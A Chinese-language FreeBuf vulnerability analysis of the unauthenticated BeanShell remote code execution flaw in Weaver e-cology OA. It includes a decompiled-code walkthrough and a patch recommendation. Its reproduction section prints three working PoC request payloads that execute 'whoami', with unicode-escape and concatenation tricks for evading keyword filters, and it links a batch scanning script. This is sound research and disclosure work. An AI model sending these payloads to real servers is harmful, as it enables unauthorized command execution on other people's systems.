freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

泛微OA E-cology远程代码执行漏洞原理分析
木子 2019-10-09 13:30:34 2477018

免责声明:本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

最近曝光了很多漏洞,后续将对这些有代表性的漏洞进行分析审分析,今天有空先审计分析泛微 OA RCE漏洞。

事件背景

2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁,泛微e-cology OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行,漏洞等级严重。

漏洞信息

漏洞名称 泛微OA E-cology 远程代码执行漏洞
CVE编号 -
CNVD编号 CNVD-2019-32204
影响版本 e-cology <=9.0
威胁等级 高危
公开时间 2019年9月17日

原理分析

此次存在漏洞的是J**A Beanshell接口,先了解下Beanshell的基础。

1.BeanShell知识

(来源:https://github.com/beanshell/beanshell

BeanShell是一个小型的,免费的,可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。BeanShell动态执行标准Java语法,并通过通用的脚本编写便利进行扩展,例如松散的类型,命令和方法闭包(如Perl和JavaScript)。

可以交互地使用BeanShell进行Java实验和调试,以及以新方式扩展应用程序。

Beanshell可以执行print、dir、eval、exec等命令

页面如下图:

2.泛微中Beanshell库jar代码静态分析

本次漏洞是因为泛微OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,执行系统命令。

先对bsh-2.0b4.jar 文件分析,利用Jadx工具反编译查看servlet.BshServlet这个类

在类中发现doGet和doPost方法,用来接收并执行提交的数据。

doPost是对doGet的二次封装

在doGet方法中看到调用evalScript方法创建一个名为obj的对象,再看evalScript这个方法中的pramString参数,最终会被interpreter.eval处理。如下图

跟进 bsh.Interpreter类的eval方法

跳转到bsh.classpath/ClassManagerImpl.class类

该类调用了bsh.commands/exec.bsh脚本,该脚本可以执行命令

漏洞复现

1.泛微OA BeanShell复现测试

把print("hello!")换成exec("whoami"),就可以测试能否执行系统命令了。

Poc1:bsh.script=\u0065\u0078\u0065\u0063("whoami");&bsh.servlet.output=raw

如果有全局过滤器过滤了exec或eval,会有报错,如下图:

可以采用unicode编码、字符串拼接等方式绕过,见下图:

Poc2:bsh.script=\u0065\u0078\u0065\u0063("whoami");&bsh.servlet.output=raw

Poc3:

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

2.批量验证脚本

该脚本组合了常用的泛微OA web路径,加上本文讲解绕过过滤器的3个Poc

该工具仅用于测试研究使用请勿他用。

脚本地址:

https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204

修复建议

升级e-cology OA最新版本或安装官方BSH安全补丁包

*本文原创作者:Ja0k,本文属于FreeBuf原创奖励计划,未经许可禁止转载

# 漏洞分析 # RCE漏洞 # 泛微OA
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 木子 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
木子 LV.3
这家伙太懒了,还未填写个人描述!
  • 11 文章数
  • 6 关注者
活动 | YSRC 六一&端午节活动,双倍&三倍奖励及推荐新人奖等你来!
2023-05-06
[漏洞复现]Apache Druid 远程代码执行漏洞 (CVE-2021-25646)
2021-02-02
CVE-2020-1948Apache Dubbo 反序列化RCE漏洞分析
2020-06-29
文章目录